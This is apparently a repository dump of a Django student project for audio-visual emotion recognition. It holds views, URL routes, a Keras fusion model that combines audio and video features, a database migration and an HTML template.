models.CharField(max_length=5, choices=TYPE, default=TYPE[0])\n content_language = models.CharField(max_length=7, choices=LANGUAGES, default=LANGUAGES[0])\n content_sex = models.CharField(max_length=5, choices=SEX, default=SEX[0])\n content_emotion = models.CharField(max_length=9, choices=EMOTIONS, default=EMOTIONS[0])\n commend = models.TextField()\n content_upload = models.FileField(null=False, upload_to=\"contents/\",\n validators=[validate_file_extension, validate_file_size])\n" }, { "alpha_fraction": 0.6053725481033325, "alphanum_fraction": 0.6124080419540405, "avg_line_length": 26.19130516052246, "blob_id": "06e2371a3a3eb41dd1938c8f2da3fba54b21d770", "content_id": "b2e341804932cfe4622e1c2fc20476bae54bb9ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3127, "license_type": "no_license", "max_line_length": 72, "num_lines": 115, "path": "/content/views.py", "repo_name": "CankayaUniversity/ceng-407-408-2019-2020-Implementation-of-an-Audio-Visual-Emotional-Recognition-System", "src_encoding": "UTF-8", "text": "from django.shortcuts import render, get_object_or_404\nfrom django.views.generic.edit import CreateView\nfrom .models import Contents\nfrom .forms import ContentsForm\nfrom .visual_model import preprocessing, get_model, display\nfrom .audio_model import process_audio\nfrom .fusion_model import fusion\n\n\nclass ContentAdd(CreateView):\n model = Contents\n form_class = ContentsForm\n template_name = \"content_add.html\"\n success_url = \"/list_contents/\"\n\n\ndef content_list(request):\n contents = Contents.objects.order_by('id').reverse()\n return render(request, 'contents_list.html', {'contents': contents})\n\n\ndef content_detail(request, pk):\n post = get_object_or_404(Contents, pk=pk)\n return render(request, 'content_detail.html', {'content': post})\n\n\ndef analyze_content(request):\n return render(request, 'analyze_content.html', {})\n\n\ndef emotion_analyzes(request):\n labels = []\n data = []\n query = Contents.objects.all()\n for i in query:\n if i.content_emotion in labels:\n index = labels.index(i.content_emotion)\n data[index] += 1\n else:\n labels.append(i.content_emotion)\n data.append(1)\n return render(request, 'emotion_analyze.html', {\n 'labels': labels,\n 'data': data\n })\n\n\ndef language_analyzes(request):\n labels = []\n data = []\n query = Contents.objects.all()\n for i in query:\n if i.content_language in labels:\n index = labels.index(i.content_language)\n data[index] += 1\n else:\n labels.append(i.content_language)\n data.append(1)\n return render(request, 'language_analyze.html', {\n 'labels': labels,\n 'data': data\n })\n\n\ndef gender_analyzes(request):\n labels = []\n data = []\n query = Contents.objects.all()\n for i in query:\n if i.content_sex in labels:\n index = labels.index(i.content_sex)\n data[index] += 1\n else:\n labels.append(i.content_sex)\n data.append(1)\n return render(request, 'gender_analyze.html', {\n 'labels': labels,\n 'data': data\n })\n\n\ndef test_visual(request, pk):\n post = get_object_or_404(Contents, pk=pk)\n model = get_model()\n video = preprocessing('./' + post.content_upload.url)\n predict_video = model.predict(video, batch_size=2)\n result = display(predict_video)\n return render(request, 'test_visual.html', {\n 'result': result,\n 'content': post\n })\n\n\ndef test_audio(request, pk):\n post = get_object_or_404(Contents, pk=pk)\n # if post.content_type == \"Audio\":\n result = process_audio('./' + post.content_upload.url)\n \"\"\"\n else:\n extract_audio(post.content_upload.url)\n result = process_audio(\"./media/contents/audio_extract.wav\")\n \"\"\"\n return render(request, 'test_audio.html', {\n 'result': result,\n 'content': post\n })\n\n\ndef test_fusion(request, pk):\n post = get_object_or_404(Contents, pk=pk)\n result = fusion(post)\n return render(request, 'test_fusion.html', {\n 'result': result,\n 'content': post\n })\n" }, { "alpha_fraction": 0.6889429092407227, "alphanum_fraction": 0.6889429092407227, "avg_line_length": 53.86666488647461, "blob_id": "acfe1762369054a014fbc11bb4fe4cc771f81224", "content_id": "8b4abe347e4787f89b44f9f6c6bf3fa2080f3458", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 823, "license_type": "no_license", "max_line_length": 82, "num_lines": 15, "path": "/content/urls.py", "repo_name": "CankayaUniversity/ceng-407-408-2019-2020-Implementation-of-an-Audio-Visual-Emotional-Recognition-System", "src_encoding": "UTF-8", "text": "from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('add_content/', views.ContentAdd.as_view(), name='content_add'),\n path('list_contents/', views.content_list, name='contents_list'),\n path('content/<int:pk>/', views.content_detail, name='content_detail'),\n path('analyze_contents/', views.analyze_content, name='analyze_content'),\n path('emotion_analyze/', views.emotion_analyzes, name='emotion_analyze'),\n path('language_analyzes/', views.language_analyzes, name='language_analyzes'),\n path('test_visual/<int:pk>/', views.test_visual, name='test_visual'),\n path('test_audio/<int:pk>/', views.test_audio, name='test_audio'),\n path('test_fusion/<int:pk>/', views.test_fusion, name='test_fusion'),\n path('gender_analyzes/', views.gender_analyzes, name='gender_analyzes'),\n]\n" }, { "alpha_fraction": 0.6228618025779724, "alphanum_fraction": 0.6500135660171509, "avg_line_length": 24.755245208740234, "blob_id": "b2014025229a083072175a7b3a81e8c6c7c45edb", "content_id": "e638bd4f7f8ceea9e4f28313e32a013f952d5389", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3683, "license_type": "no_license", "max_line_length": 114, "num_lines": 143, "path": "/content/fusion_model.py", "repo_name": "CankayaUniversity/ceng-407-408-2019-2020-Implementation-of-an-Audio-Visual-Emotional-Recognition-System", "src_encoding": "UTF-8", "text": "import librosa\nimport numpy as np\nimport subprocess\n\nfrom tensorflow.keras.models import Sequential\nfrom .visual_model import preprocessing, get_model\nfrom tensorflow.keras.layers import Conv1D, Activation, MaxPooling1D, Dropout, Flatten, Dense\n\nemotions = {\n 0: \"neutral\",\n 1: \"calm\",\n 2: \"happy\",\n 3: \"sad\",\n 4: \"angry\",\n 5: \"fearful\",\n 6: \"disgust\",\n 7: \"surprised\"\n}\n\n\ndef audio_model():\n model = Sequential()\n\n model.add(Conv1D(128, 5, padding='same', input_shape=(40, 1)))\n model.add(Activation('relu'))\n model.add(Dropout(0.1))\n model.add(MaxPooling1D(pool_size=(8)))\n\n model.add(Conv1D(128, 5, padding='same'))\n model.add(Activation('relu'))\n model.add(Dropout(0.1))\n\n model.add(Conv1D(128, 5, padding='same'))\n model.add(Activation('relu'))\n model.add(Dropout(0.1))\n\n model.add(Flatten())\n\n model.add(Dense(4096))\n model.add(Activation('relu'))\n model.add(Dropout(0.5))\n\n model.add(Dense(4096))\n model.add(Activation('relu'))\n model.add(Dropout(0.5))\n\n model.add(Dense(8))\n model.add(Activation('softmax'))\n\n model.load_weights(\"./weights/audio_weights.hdf5\")\n return model\n\n\ndef fusion_model():\n model = Sequential([\n Dense(4096, input_shape=(8192,)),\n Activation('relu'),\n Dropout(0.2),\n\n Dense(2048),\n Activation('relu'),\n Dropout(0.2),\n\n Dense(1096),\n Activation('relu'),\n Dropout(0.2),\n\n Dense(8),\n Activation('softmax')\n ])\n model.load_weights(\"./weights/fusion_weights.hdf5\")\n return model\n\n\ndef feature_visual_model():\n model = get_model()\n\n # Deep Feature Extractor\n extractor_model = Sequential()\n for layer in model.layers[:-2]:\n extractor_model.add(layer)\n\n # Freeze layers\n for layer in extractor_model.layers:\n layer.trainable = False\n return extractor_model\n\n\ndef feature_audio_model():\n model = audio_model()\n # Deep Feature Extractor\n extractor_model = Sequential()\n for layer in model.layers[:-2]:\n extractor_model.add(layer)\n\n # Freeze layers\n for layer in extractor_model.layers:\n layer.trainable = False\n return extractor_model\n\n\ndef extract_audio(path):\n command = \"ffmpeg -y -i {} -ab 160k -ac 2 -ar 44100 -vn ./media/contents/audio_extract.wav\".format(\".\" + path)\n subprocess.call(command, shell=True)\n\n\ndef preprocess_audio(path):\n extract_audio(path)\n X, sample_rate = librosa.load(\"./media/contents/audio_extract.wav\", res_type='kaiser_fast')\n mfcc = np.mean(librosa.feature.mfcc(y=X, sr=sample_rate, n_mfcc=40).T, axis=0)\n return np.expand_dims(mfcc.reshape(1, 40), axis=2)\n\n\ndef feature_extract_visual(model, video):\n feature = []\n for segment in range(video.shape[0]):\n feature.append(model.predict(np.array([video[segment]])))\n extract_feature = np.array(feature).reshape(np.array(feature).shape[0], 4096)\n return np.apply_over_axes(np.average, extract_feature, [0])\n\n\ndef feature_extract_audio(model, audio):\n return model.predict(audio)\n\n\ndef feature_extract(post):\n # Visual Part\n visual_model = feature_visual_model()\n video = preprocessing('./' + post.content_upload.url)\n feature_visual = feature_extract_visual(visual_model, video)\n\n # Audio Part\n speech_model = feature_audio_model()\n mfcc = preprocess_audio(post.content_upload.url)\n feature_audio = feature_extract_audio(speech_model, mfcc)\n return np.concatenate((feature_audio, feature_visual), axis=1)\n\n\ndef fusion(post):\n feature = feature_extract(post)\n model = fusion_model()\n result = model.predict(feature)\n return emotions.get(np.argmax(result))\n" }, { "alpha_fraction": 0.5759759545326233, "alphanum_fraction": 0.5885885953903198, "avg_line_length": 51.03125, "blob_id": "be76d0688f727f28c2cba510b255dc7c58b19123", "content_id": "77cd9c62411690aac6a7509cfc521dd070d7c1c6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1665, "license_type": "no_license", "max_line_length": 283, "num_lines": 32, "path": "/content/migrations/0001_initial.py", "repo_name": "CankayaUniversity/ceng-407-408-2019-2020-Implementation-of-an-Audio-Visual-Emotional-Recognition-System", "src_encoding": "UTF-8", "text": "# Generated by Django 3.0.4 on 2020-03-07 12:30\n\nfrom django.conf import settings\nimport django.contrib.auth.models\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Contents',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('content_name', models.CharField(max_length=50)),\n ('content_type', models.CharField(choices=[('V', 'Video'), ('I', 'Image'), ('A', 'Audio')], default=('V', 'Video'), max_length=5)),\n ('content_language', models.CharField(choices=[('TR', 'Turkish'), ('EN', 'English'), ('FR', 'French')], default=('TR', 'Turkish'), max_length=7)),\n ('content_sex', models.CharField(choices=[('M', 'Man'), ('W', 'Women')], default=('M', 'Man'), max_length=5)),\n ('content_emotion', models.CharField(choices=[('neutral', 'Neutral'), ('calm', 'Calm'), ('happy', 'Happy'), ('sad', 'Sad'), ('angry', 'Angry'), ('fearful', 'Fearful'), ('disgust', 'Disgust'), ('surprised', 'Suprised')], default=('neutral', 'Neutral'), max_length=9)),\n ('commend', models.TextField()),\n ('content_upload', models.FileField(upload_to='')),\n ('uploader', models.ForeignKey(default=django.contrib.auth.models.User, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),\n ],\n ),\n ]\n" }, { "alpha_fraction": 0.5044247508049011, "alphanum_fraction": 0.5094026327133179, "avg_line_length": 35.918365478515625, "blob_id": "23b1f4874004735e46dd98f0368271ae156e2a09", "content_id": "1be15d69d7ae6b1ffd29c5133388ed192ea26e73", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 1808, "license_type": "no_license", "max_line_length": 102, "num_lines": 49, "path": "/templates/content_detail.html", "repo_name": "CankayaUniversity/ceng-407-408-2019-2020-Implementation-of-an-Audio-Visual-Emotional-Recognition-System", "src_encoding": "UTF-8", "text": "{% extends 'base.html' %}\n\n{% block content %}\n{% if user.is_authenticated %}\n<div align=\"center\" class=\"post\">\n <div>\n <div style='text-align: center;'>\n {% if content.content_type == \"Video\" %}\n <i class=\"fas fa-video fa-3x\"> {{ content.content_name }}</i>\n {% else %}\n <i class=\"fas fa-volume-up fa-3x\"> {{ content.content_name }}</i>\n {% endif %}\n </div>\n <hr>\n <p><b>Content Uploader:</b> {{ content.uploader }}</p>\n <p><b>Content Type:</b> {{ content.content_type }}</p>\n <p><b>Content Language:</b> {{ content.content_language }}</p>\n <p><b>Content Sex:</b>{{ content.content_sex }}</p>\n <p><b>Content Emotion:</b>{{content.content_emotion}}</p>\n <p><b>Commend:</b>{{content.commend}}</p>\n <video width='600' height=\"300\" controls>\n <source src='{{ content.content_upload.url }}' type='video/mp4'>\n File not found.\n </video>\n <br/>\n <br/>\n <hr>\n {% if content.content_type == \"Video\" %}\n <a href=\"{% url 'test_visual' pk=content.pk %}\">\n <button type=\"button\" class=\"btn btn-secondary\">Find Emotion <br/> (using visual)</button>\n </a>\n <a href=\"{% url 'test_fusion' pk=content.pk %}\">\n <button type=\"button\" class=\"btn btn-info\">Find Emotion <br/> (with fusion)</button>\n </a>\n {% else %}\n <a href=\"{% url 'test_audio' pk=content.pk %}\">\n <button type=\"button\" class=\"btn btn-dark\">Find Emotion <br/> (using audio)</button>\n </a>\n {% endif %}\n {% block result %}\n {% endblock result %}\n </div>\n</div>\n{% else %}\n<div align=\"center\">\n <p>Please login the account.</p>\n</div>\n{% endif %}\n{% endblock content%}" } ]
12
shreyasrye/Premier-Soccer-Leaderboard-Tracker
https://github.com/shreyasrye/Premier-Soccer-Leaderboard-Tracker
31c868a0546d8cc6e33b1ad80257a914c754c2ac
f837d07b3176f4ce20f5853634e07126c418764e
084c1679dd03eccd301418abb950e1009a22e4c0
refs/heads/main
2023-02-03T12:01:23.391451
2020-12-19T17:45:49
2020-12-19T17:45:49
322,734,703
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.6838995814323425, "alphanum_fraction": 0.7016248106956482, "avg_line_length": 28.434782028198242, "blob_id": "ad0df3544727f1266b188697f3be2be33ecb5860", "content_id": "f8ec30c5ec603f33037504f6bc7965a9b4ea3a78", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 677, "license_type": "no_license", "max_line_length": 63, "num_lines": 23, "path": "/website/blog/models.py", "repo_name": "shreyasrye/Premier-Soccer-Leaderboard-Tracker", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom django.contrib.auth.models import User\n\n\nclass Team(models.Model):\n name = models.CharField(max_length=100)\n creater = models.ForeignKey(User, on_delete=models.CASCADE)\n code = models.CharField(max_length=100)\n\n def __str__(self):\n return self.name\n\nclass League(models.Model):\n name = models.CharField(max_length=100)\n creater = models.ForeignKey(User, on_delete=models.CASCADE)\n code = models.CharField(max_length=100)\n\n def __str__(self):\n return self.name\n\nclass UserTeams:\n user = models.ForeignKey(user, on_delete=models.CASCADE)\n team = models.ForeignKey(Team, on_delete=models.CASCADE)\n" } ]
1
kareemrady/foundations-python
https://github.com/kareemrady/foundations-python
419a1c0a197705ec903c546db89ad6f0804df629
358d1bf145c0c011c3e54b17e47fcb0b2d91fc58
c329e387232fa0a986d5dde816ccfc9e45f0a0da
refs/heads/master
2020-04-18T02:56:05.716714
2016-08-29T01:01:24
2016-08-29T01:01:24
66,670,168
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6164994239807129, "alphanum_fraction": 0.6187291145324707, "avg_line_length": 22.605262756347656, "blob_id": "f9162a9cc2379cf13274b235b7cf4a8f6fd20b0f", "content_id": "d07a8385f9318aa4f2a2239ec415b23ebe1bb546", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1794, "license_type": "no_license", "max_line_length": 78, "num_lines": 76, "path": "/guess_letter.py", "repo_name": "kareemrady/foundations-python", "src_encoding": "UTF-8", "text": "import string\nimport random\nimport os\nimport platform\nimport re\nimport time\n\nSTRING_CHARS = string.ascii_lowercase\nGUESSES = 5\n\n\ndef pick_random_letter():\n return random.choice(STRING_CHARS)\n\n\ndef detect_os():\n return platform.system()\n\n\ndef detect_clear_screen_string(os_name):\n if os_name == 'Windows':\n return 'cls'\n else:\n return 'clear'\n\n\ndef clear_screen():\n os_name = detect_os()\n clr_str = detect_clear_screen_string(os_name)\n os.system(clr_str)\n\n\ndef display_welcome_message():\n print(\"Welcome To Guess the Letter Game\")\n print(\"-----------------------------------\\n\")\n\n\ndef display_guesses_left(guesses):\n print(\"You have {0} attempts to guess the right letter\\n\".format(guesses))\n\n\ndef detect_invalid_letter(input):\n reg_expr = re.compile('^[a-z]')\n return re.match(reg_expr, input)\n\n\ndef get_user_input():\n print(\"Please Type in a Letter from a-z:\")\n user_input = raw_input().lower()\n match_found = detect_invalid_letter(user_input)\n while not match_found:\n print(\"Invalid Entry, Please Type in a Letter from a-z:\")\n user_input = raw_input().lower()\n match_found = detect_invalid_letter(user_input)\n return user_input\n\n\ndef play_game():\n display_welcome_message()\n guesses = GUESSES\n while guesses:\n time.sleep(2)\n clear_screen()\n display_guesses_left(guesses)\n user_choice = get_user_input()\n comp_choice = pick_random_letter()\n if user_choice == comp_choice:\n print(\"You Guessed it Right !!!!\")\n break\n else:\n print(\"Sorry your guess {} is not correct\\n\".format(user_choice))\n guesses -= 1\n else:\n print(\"Sorry You Lost the random letter was {} !\".format(comp_choice))\n\nplay_game()\n" }, { "alpha_fraction": 0.5662718415260315, "alphanum_fraction": 0.5679638981819153, "avg_line_length": 25.863636016845703, "blob_id": "1ebd3cd50f0bb134f950ceee42a40d8fac15d80d", "content_id": "3111e64cc495ecb9bfa588878a3c188ba20957d3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1773, "license_type": "no_license", "max_line_length": 77, "num_lines": 66, "path": "/list.py", "repo_name": "kareemrady/foundations-python", "src_encoding": "UTF-8", "text": "import re\nimport os\nimport platform\nimport time\n\n\ndef match_letters(input):\n # return false if empty string is entered\n # or if numbers are entered as string rather than actual words\n regex_string = re.compile('[a-zA-Z]+')\n return regex_string.match(input)\n\n\ndef get_user_input():\n print(\"Add item or type [q] to save list to file and quit\\n\")\n user_input = raw_input(\"What item would you like to add to your list?\\n\")\n return user_input\n\n\ndef add_to_list(item, shopping_list):\n shopping_list.append(item)\n\n\ndef show_list(shopping_list):\n print(\"Items in your list: \\n------------------------------------\")\n for item in shopping_list:\n print('- ' + item)\n\n\ndef save_to_file(shopping_list):\n with open('lists.txt', 'w') as f:\n f.write(\"Your Shopping List \\n-------------------\\n\")\n for item in shopping_list:\n f.write('- ' + item + '\\n')\n\n\ndef detect_clear_string():\n operating_sys = platform.system()\n if operating_sys == 'Linux':\n return 'clear'\n else:\n return 'cls'\n\n\ndef new_shopping_list():\n clear_screen_string = detect_clear_string()\n shopping_list = []\n while 1:\n os.system(clear_screen_string)\n user_input = get_user_input()\n user_input_cap = user_input.upper()\n if user_input_cap == \"Q\":\n print(\"Saving your list to file........................\")\n time.sleep(2)\n save_to_file(shopping_list)\n break\n elif user_input and match_letters(user_input):\n print(\"Adding item to list........................\")\n time.sleep(2)\n add_to_list(user_input, shopping_list)\n else:\n print(\"Invalid Input\")\n show_list(shopping_list)\n\n\nnew_shopping_list()\n" } ]
2
yuckyfang/PythonProjects
https://github.com/yuckyfang/PythonProjects
fb888a75a616a19522b00bb2d35de3ed1006cf34
5ee8259b2a7531a18c5f87fe1b291ebbb6a1cf5b
1d3dc72eb9f4d21863150459b1793780a2577334
refs/heads/master
2021-01-01T15:32:51.006672
2017-08-12T19:43:21
2017-08-12T19:43:21
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5814585089683533, "alphanum_fraction": 0.6051202416419983, "avg_line_length": 40.54838562011719, "blob_id": "ebef80488abd00762b20b5ea28ca2259d3d1f264", "content_id": "d0a9066b44e8c5a0dcf525b863e33d9862b8e022", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2578, "license_type": "no_license", "max_line_length": 172, "num_lines": 62, "path": "/textgame.py", "repo_name": "yuckyfang/PythonProjects", "src_encoding": "UTF-8", "text": "def question5():\n answer5=input(\"What kind of computer are we using? a.Microsoft Windows LATITUDE E7340 b.Microsoft Windows Version 6.1.7601 c.Microsoft Windows Version 7.2.9042\")\n if answer5 == \"b\" or answer5== \" b\" or answer5==\"B\" or answer5==\" B\":\n print(\"Congrats. You're as smart as we are. Join the club.\")\n\n else:\n print(\"YEP.You're an idiot. GAME OVER!!!\")\n exit()\n\ndef question4():\n answer4=input(\"What is an informal language that has no syntax rules and is not meant to be compiled or executed called?\")\n if answer4 == \"pseudocode\" or answer4 == \" pseudocode\" or answer4==\"Pseudocode\" or answer4==\" Pseudocode\":\n print(\"Good one. On to the next question.\")\n question5()\n else:\n print(\"You're an idiot. GAME OVER!!!\")\n exit()\n\ndef question3():\n answer3=input(\"How do you write a for-loop formula using x as a variable in Python?\")\n if answer3 == \"for x in range(x)\" or answer3== \" for x in range(x)\":\n print(\"Phew. That was hard.\")\n question4()\n else:\n print(\"You're an idiot. GAME OVER!!!\")\n exit()\n\ndef question2():\n answer2=input(\"What is default message for the 'think ___ for _ seconds' in Scratch? a.hello b.hmm... c.hmmm\")\n if answer2 == \"b\" or answer2==\" b\" or answer2==\"B\" or answer2==\" B\" or answer2==\"hmm...\" or answer2==\" hmm...\":\n print(\"Pure Luck\")\n question3()\n else:\n print(\"You're an idiot. GAME OVER!!!\")\n exit()\n\n# def question1():\n# answer1=input(\"What represents a line of text, a character, or a number and can change throughout a program? a.variable b.constant c.string\")\n# if answer1 == \"a\" or answer1==\" a\" or answer1==\"A\" or answer1==\" A\" or answer1==\"variable\" or answer1==\" variable\" or answer1==\"a.variable\" or answer1==\" a.variable\":\n# print(\"You're a smart fellah :)\")\n# question2()\n# else:\n# print(\"You're an idiot. GAME OVER!!!\")\n# exit()\n\ndef question1():\n answer1=input(\"What represents a line of text, a character, or a number and can change throughout a program? a.variable b.constant c.string\")\n list1 =[\"a\", \" a\", \"A\", \" A\", \"variable\", \" variable\", \"a.\", \" a.\", \"a.variable\", \" a.variable\"]\n if answer1 in list1:\n print(\"You're a smart fellah :)\")\n question2()\n else:\n print(\"You're an idiot. GAME OVER!!!\")\n exit()\n\nstart = input(\"Can you outsmart us?\")\nif start == \"Yes\" or start == \"yes\" or start==\"YES\":\n print(\"We'll see about that\")\n question1()\nelse:\n print(\"GAME OVER!!!\")\n exit()\n\n\n" }, { "alpha_fraction": 0.7275146245956421, "alphanum_fraction": 0.7344332337379456, "avg_line_length": 42.69767379760742, "blob_id": "6b77d1ef4afe7a7eb73c18aad64cb9120c3d936d", "content_id": "ba673b217ac46d7df72394160ea2c542fedaab29", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1879, "license_type": "no_license", "max_line_length": 176, "num_lines": 43, "path": "/recipe.py", "repo_name": "yuckyfang/PythonProjects", "src_encoding": "UTF-8", "text": "# A list can store a sequence of objects in a certain order such that you can index into the list, or iterate over the list.\n# List is a mutable type meaning that lists can be modified after they have been created.\n\n# A dictionary is a key-value store. It is not ordered and it requires that the keys are hashable. It is fast for lookups by key.\n\n# recipe for spicy lemon garlic shrimp\n\n# this is a list\ningredients=[\"shrimp\", \"butter\", \"parsley leaves\", \"kosher salt\", \"red pepper\",\"garlic\",\"lemon\",\"crusty bread\"]\n# this is a dictionary so when you call shrimp, you get the number 2 as the amt you need to buy. shrimp=key and value=2\namtOfIngred={\"shrimp\":2,\"butter\":2}\n\n# list to hold every step in the recipe\ninstructions=[\"1.Preheat the oven to 375 degrees F. Rinse the shrimp to separate, and then arrange in a single layer on a baking sheet\",\n\"2.To the bowl of a food processor, add the butter, parsley, salt, red pepper, garlic and lemon juice. Pulse until combined. Sprinkle the cold butter crumbles over the shrimp\",\n\"3.Bake until the shrimp is opaque and the butter is hot and bubbly.\",\n\"4.Serve with hot crusty bread. Peel and eat the shrimp, and then encourage guests to dip the bread into the butter in the bottom of the pan.\"]\n\n# dictionary that holds both lists\nrecipe={\"ingredients\":ingredients, \"instructions\":instructions}\n\n# prints all ingred by calling the ingred list in the recipe dictionary\n# print(recipe[\"ingredients\"])\n# print(recipe[\"instructions\"][0])\n# for item in range(4):\n# print(instructions[item])\n\n# print(amtOfIngred[\"shrimp\"])\n\n\n\n\nuserInput=input(\"What ingredients do you have?\")\nif userInput in ingredients:\n print(\"Try spicy lemon garlic chicken\")\n yesOrNo=input(\"Want the recipe?\")\n if yesOrNo == \"yes\"\n print(recipe)\n else:\n print(\"cool\")\n\nelse:\n print(\"Sorry, no recipes available right now.Try again\")\n" }, { "alpha_fraction": 0.5564647912979126, "alphanum_fraction": 0.600654661655426, "avg_line_length": 27.85714340209961, "blob_id": "5877e0c49706c38cbdd79b3f0f3c165f934f5de4", "content_id": "d8a11440502c145770eeb84037d895030c5853ad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 611, "license_type": "no_license", "max_line_length": 135, "num_lines": 21, "path": "/bubblesort.py", "repo_name": "yuckyfang/PythonProjects", "src_encoding": "UTF-8", "text": "# sorts numbers using bubble sorting! main goal is to get the largest number at the end of the list each time you loop through it\n\n\nj=0\ni=0\nbiggerNum=\"\"\n# var that measures length of list1, subtract 1 from the length of the list so the last number doesnt compare itself to an empty number\nlength=len(list1)-1\n\nmylist = [54,34,45,23,88,98,37]\n\nwhile j > -1:\n for i in range(0,length):\n if mylist[i+1] < mylist[i]:\n biggerNum = mylist[i]\n mylist[i] = mylist[i+1]\n mylist[i+1] = biggerNum\n print(myList)\n j +=1\n else:\n j -= 1\n\n\n \n" }, { "alpha_fraction": 0.4761904776096344, "alphanum_fraction": 0.5008818507194519, "avg_line_length": 16.71875, "blob_id": "d3199cbb947a0d8d53d2ad729756d55cb8350090", "content_id": "901fe214eef01c589c3672bf6feccf094c23dc0a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 567, "license_type": "no_license", "max_line_length": 36, "num_lines": 32, "path": "/binarysearch.py", "repo_name": "yuckyfang/PythonProjects", "src_encoding": "UTF-8", "text": "list2=[1,2,3,4,5,6]\nprint(list2)\n\nend = list2[len(list2)-1]\nstart = list2[0]\n\nvalue=int(input(\"Give me a numero\"))\n\nrun=True\nfound = False\nwhile run:\n midnum= (start + end)/ 2\n if value > midnum:\n start = midnum\n if value>end:\n print(\"no such num\")\n break\n else:\n continue\n\n elif value<midnum:\n end=midnum\n if value<start:\n print(\"no such num\")\n break\n else:\n continue\n\n else:\n found = True\n print(\"We found your num\")\n break\n" }, { "alpha_fraction": 0.5623342394828796, "alphanum_fraction": 0.5646077990531921, "avg_line_length": 23.89622688293457, "blob_id": "194fee95db15598aba19e27f4dc17ec861245ed8", "content_id": "e3abece8cb9abc44b194eb88ad1666f2e380d4d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2639, "license_type": "no_license", "max_line_length": 131, "num_lines": 106, "path": "/socialnetwork.py", "repo_name": "yuckyfang/PythonProjects", "src_encoding": "UTF-8", "text": "class User:\n # Define the fields and methods for your object here.\n def __init__(self,first,last,username,age):\n self.firstname=first\n self.lastname=last\n self.username = username\n self.age=age\n self.friends=[\"Masfi\"]\n\n def addFriend(self,friend):\n self.friends.append(friend)\n\n def getFullName(self):\n return self.firstname + \" \" + self.lastname\n\n def getUserName(self):\n return self.username\n\n def getAge(self):\n return self.age\n\n def getConnections(self):\n return self.friends\n\n def printUser(self):\n print (self.getFullName())\n print (self.getUserName())\n print (self.getAge())\n# entire network i.e all users\nclass Network:\n\n # Define the fields and methods for your object here.\n def __init__(self):\n self.users=[\"Masfi\", \"Yuki\", \"Lena\", \"Leyla\", \"Nick\"]\n\n def checkUsername(self, username):\n if username in self.users:\n print(\"that username is already taken. Choose another one\")\n self.makeAcc()\n else:\n self.users.append(username)\n taken=False\n\n def getUsersList(self):\n return self.users\n\n def getTotalUsers(self):\n print (len(self.users))\n print (self.users)\n\n # def checkUsersExist(self,username):\n # exist=False\n #\n # if username in self.users:\n #\n #\n # else:\n # print(\"This user does not exist. Add someone else\")\n\n\n def addConnections(self,user2):\n for i in range(len(self.friends)):\n checkUsersExist()\n if user2 in self.friends:\n print(\"You are already connected\")\n else:\n self.friends.append(user2)\n user2.friends.append(self)\n print(\"You are now friends\")\n\n def makeAcc(self):\n first=input(\"first name:\")\n last=input(\"last name:\")\n username=input(\"username:\")\n self.checkUsername(username)\n age=input(\"age:\")\n\n\ndef mainPage():\n y=Network()\n x=User(\"Yuki\", \"Fang\", \"beep\", \"17\")\n action=input(\"What do you want to do today? (a) add a new user, (b) add friends, (c)view profile, (d)see total users, (e)exit\")\n if action == \"a\":\n y.makeAcc()\n print(y.getUsersList())\n mainPage()\n elif action==\"b\":\n friend=input(\"who?\")\n x.addFriend(friend)\n print(x.getConnections())\n mainPage()\n elif action==\"c\":\n x.printUser()\n mainPage()\n elif action==\"d\":\n y.getTotalUsers()\n else:\n print(\"BYE\")\n\n\ndef main():\n mainPage()\n\n\n\nmain()\n" }, { "alpha_fraction": 0.6011494398117065, "alphanum_fraction": 0.636781632900238, "avg_line_length": 15.730769157409668, "blob_id": "fa4cfa8fb9206efe2a81a1662ad759c68297c893", "content_id": "56d099b16756150b8e2014b871e7dd9b24a35d57", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 870, "license_type": "no_license", "max_line_length": 104, "num_lines": 52, "path": "/shapes.py", "repo_name": "yuckyfang/PythonProjects", "src_encoding": "UTF-8", "text": "from turtle import *\nimport math\nimport turtle, random\n\n# Name your Turtle.\nfrankie = Turtle()\n\n# Set Up your screen and starting position.\nsetup(500,300)\nx_pos = 0\ny_pos = 0\nfrankie.setposition(x_pos, y_pos)\nsize=100\n\n### Write your code below:\n\npendown()\ncolors = [\"red\",\"green\",\"blue\",\"orange\",\"purple\",\"pink\",\"yellow\"] # Make a list of colors to picvk from\n\n# draws a square\n#for num in range(4):\n #forward(100)\n #left(90)\n\npenup()\n#forward(50)\npendown()\n\n\n#draws a triangle\ndef drawTriangle():\n begin_fill()\n for num in range(3):\n forward(size)\n left(120)\n end_fill()\n\ndef foundation():\n for num in range(12):\n color = random.choice(colors) #Choose a random color\n fillcolor(color)\n drawTriangle()\n right(30)\n\nfor num in range(20):\n foundation()\n size-=20\n\n\n\n# Close window on click.\nexitonclick()\n" } ]
6
Mormoran/foobar
https://github.com/Mormoran/foobar
